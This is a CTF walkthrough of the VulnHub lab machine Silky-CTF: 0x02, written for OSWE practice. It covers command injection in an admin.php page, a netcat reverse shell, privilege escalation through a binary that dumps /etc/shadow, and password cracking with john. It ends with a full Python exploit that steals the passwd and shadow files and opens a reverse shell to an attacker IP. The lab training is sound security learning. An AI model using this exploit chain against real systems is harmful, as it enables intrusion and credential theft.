The security community has compiled a well-known list of machines available outside of the PEN-200 Labs to help prepare for the OSCP exam, but few know that an OSWE list is in its infancy as well. The OSWE list can be found here. At the top of the Vulnhub list was Silky-CTF: 0x02. Though the machine is unrealistic, the practice was still worth the time.
Throughout this walkthrough, I show the path to gaining root on the machine, but I also cover why the initial foothold was possible by taking a look at the code. Last, I write a simple single-click exploit to compromise the machine.
First, as with all VulnHub machines, I added the “/etc/hosts” record to simplify sending requests to the machine.
Reconnaissance
Next, I scanned the target using Nmap with all scripts enabled, enumerating versions, targeting all TCP ports, and outputting the results in all formats within the “/htb/silky” directory. Here we have ports 80 and 22.
Port 80 contained an Apache2 default page.
We then used a tool called gobuster to further enumerate possible directories and files served by the web application. This resulted in the admin.php page.
This page contained a simple button that spawned a request for a username and password.
Using Burp Suite I began fuzzing the username and password values with SecLists wordlists related to injection. The first indication of an issue was with the sleep command for 50 seconds. The response was only returned after 50 seconds indicating we have an injection vulnerability of some kind.
Further testing proved we were not dealing with SQL injection, but direct remote code execution on the target. You can see this from the strings echoed from the response along with the calculated value from the provided equation.
Initial Foothold
The users were enumerated by performing a “cat /etc/passwd” within the username value field.
In theory, we should now be able to get a successful low privilege shell using bash, nc, or python. I first tried a bash reverse shell with no luck. Next, I tried using an encoded netcat reverse shell.
Started the listener on port “7788” on the attacker machine.
Sent the encoded netcat reverse shell payload in the username value field of the GET request.
Nice, we have a connection back as user “www-data”. With initial access, I upgraded the shell using “python -c ‘import pty; pty.spawn(“/bin/sh”)'”. My next goal is to further enumerate as much as possible about the machine to identify any anomalies or paths to privilege escalation. There are many tools to assist with privilege escalation enumeration, but I used linPEAS for this machine.
Privilege Escalation
Curl was not installed on the victim machine, but wget was. The Simple HTTP Server was started on the attacker machine to serve up the linpeas.sh script.
Using wget, the linpeas.sh file was copied to the /tmp directory.
The execution permissions were added to the linpeas.sh file.
Linpeas.sh was executed.
The results contained a few interesting findings, but the most anomalous finding was a file named “cat_shadow” located in the home directory for the silky user.
I immediately moved the file to the attacker’s machine for further analysis. To move the file, I simply used SCP.
Looking at the file type we have an ELF 64-bit LSB pie executable.
Performing the “strings” command on the binary showed one interesting hex value that was returned “0x496c5962”.
During dynamic analysis, I noticed the binary was using a specific place in memory to provide the check against the “0x496c5962” value. I could overwrite this value with “A” as seen with the “0x41414141”. Decoding the expected value we have “IlYb”, but providing this value was reversed in the output. Simply reversing the expected values at the select location caused the “/etc/shadow” file to be printed in the terminal.
Last, I “unshadowed” the target “passwd” and “shadow” files into the target “combinedpasswdfile.txt” file.
Using the “rockyou.txt” wordlist, I executed john.
The credentials were then tested against the machine and worked as expected!
Vulnerabile Code Analysis
Now that we have root credentials, let’s take a step back and see why the initial vulnerability exists. Within the “/var/www/html” directory we can find the “admin.php” code. Looking at the if statement we see the mishandled user input for the username value. The value is passed directly to the “shell_exec” function allowing code execution.
For more information about the “shell_exec” function within PHP check out the documentation here.
Exploit Development
We fully understand how the entire exploitation path works, so we should be able to develop an exploit to allow single-click root access for the attacker. I will be using Python just because of my personal comfort level with the language. In addition, I use a Burp extension called “Copy As Python-Requests” to start the code creation.
Instead of creating the initial request with a reverse shell, we will be executing the binary “cat_shadow” and returning the needed contents to brute force the root password. This request could look like this:
We also need the “/etc/passwd” contents to create the needed “unshadow” format for brute-forcing the password. With a bit of formatting on the returned values, we can then pass those to individual files that will be targeted with the “unshadow” command. Last we execute the john command on the newly created file and return that to the user along with creating a low privilege shell for the user to “su root” with the obtained password.
The code is very rough and could use much more user-provided argument variables, functions and exception handling, but the concept is there.
import requests from bs4 import BeautifulSoup import os import subprocess import time burp0_url = "http://silky.vuln:80/admin.php?username=%2f%68%6f%6d%65%2f%73%69%6c%6b%79%2f%63%61%74%5f%73%68%61%64%6f%77%20%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%41%62%59%6c%49&password=test" burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://silky.vuln/admin.php", "Accept-Encoding": "gzip, deflate", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} data = requests.get(burp0_url, headers=burp0_headers) soup = BeautifulSoup(data.text, 'html.parser') strips = list(soup.stripped_strings) shadowContents = strips[6].splitlines() f = open("shadowContents.txt", "w") f.write(shadowContents[0]) f.close() burp1_url = "http://silky.vuln:80/admin.php?username=%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64&password=test" data2 = requests.get(burp1_url, headers=burp0_headers) soup2 = BeautifulSoup(data2.text, 'html.parser') strips2 = list(soup2.stripped_strings) passwdContents = strips2[6].splitlines() f2 = open("passwdContents.txt", "w") f2.write(passwdContents[0]) f2.close() cmd = 'unshadow passwdContents.txt shadowContents.txt > /tmp/fileForJohn.txt' cmd2 = 'john --wordlist=/usr/share/wordlists/SecLists/Passwords/Leaked-Databases/rockyou.txt /tmp/fileForJohn.txt' os.system(cmd) p = subprocess.Popen(cmd2, stdout=subprocess.PIPE, shell=True) responseList = [] for line in p.stdout: stripped_line = line.strip() line_list = stripped_line.split() responseList.append(line_list) roughRootPass = str(responseList[-1][0]) betterRootPass = roughRootPass.replace("b'", "") finalRootPass = betterRootPass.replace("'", "") print("Root Password Found!: " + str(finalRootPass)) p.wait() try: burp2_url = "http://silky.vuln:80/admin.php?username=%6e%63%20%2d%65%20%2f%62%69%6e%2f%73%68%20%31%30%2e%30%2e%31%31%2e%31%31%36%20%37%37%38%38&password=test" requests.get(burp2_url, headers=burp0_headers) print("Low privilege shell connected!") except: print("Initial low privilege reverse shell failed.")
To test the code first we need to change the password on the target machine to prove it is working as expected.
Now let’s execute the script and see what happens.
The script successfully used the remote code execution vulnerability within the username field to execute the vulnerable binary. This returned the shadow file. The next call correctly returned the “/etc/passwd” file and the script parsed the results to the root user. Next, the script executed “unshadow” on the target files and executed john the ripper. Last, the script connects to the attacker with a low privilege reverse shell and provides the cracked password. The only manual part of the script is changing users on the victim machine with the discovered password.
Conclusion
This machine was simple, straight forward and I enjoyed working through the script to simplify the exploit process for the attacker. The initial foothold was on the unrealistic side due to direct remote code execution with no filtering or controls in place to work around. Not finding a database behind the web application really threw me off during the enumeration phase of the injection vulnerability. If anyone has any further ideas on how to fully automate the exploitation to return a root shell using the intended path, feel free to share any ideas.
I look forward to the next machine on “the list” to help prepare for the OSWE exam. Until next time, stay safe in the Trenches of IT!